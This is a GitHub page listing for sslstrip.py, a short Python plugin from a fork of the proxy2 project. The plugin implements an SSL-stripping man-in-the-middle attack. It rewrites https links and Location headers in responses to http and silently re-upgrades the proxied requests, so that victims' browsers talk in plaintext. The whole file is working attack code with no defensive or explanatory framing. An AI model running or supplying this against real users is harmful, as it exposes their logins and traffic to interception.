forked from zendeskarchive/proxy2
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsslstrip.py
26 lines (19 loc) · 872 Bytes
/
sslstrip.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# -*- coding: utf-8 -*-
from proxy2 import *
from collections import deque
class SSLStripRequestHandler(ProxyRequestHandler):
replaced_urls = deque(maxlen=1024)
def request_handler(self, req, req_body):
if req.path in self.replaced_urls:
req.path = req.path.replace('http://', 'https://')
def response_handler(self, req, req_body, res, res_body):
def replacefunc(m):
http_url = "http://" + m.group(1)
self.replaced_urls.append(http_url)
return http_url
re_https_url = r"https://([-_.!~*'()a-zA-Z0-9;/?:@&=+$,%]+)"
if 'Location' in res.headers:
res.headers['Location'] = re.sub(re_https_url, replacefunc, res.headers['Location'])
return re.sub(re_https_url, replacefunc, res_body)
if __name__ == '__main__':
test(HandlerClass=SSLStripRequestHandler)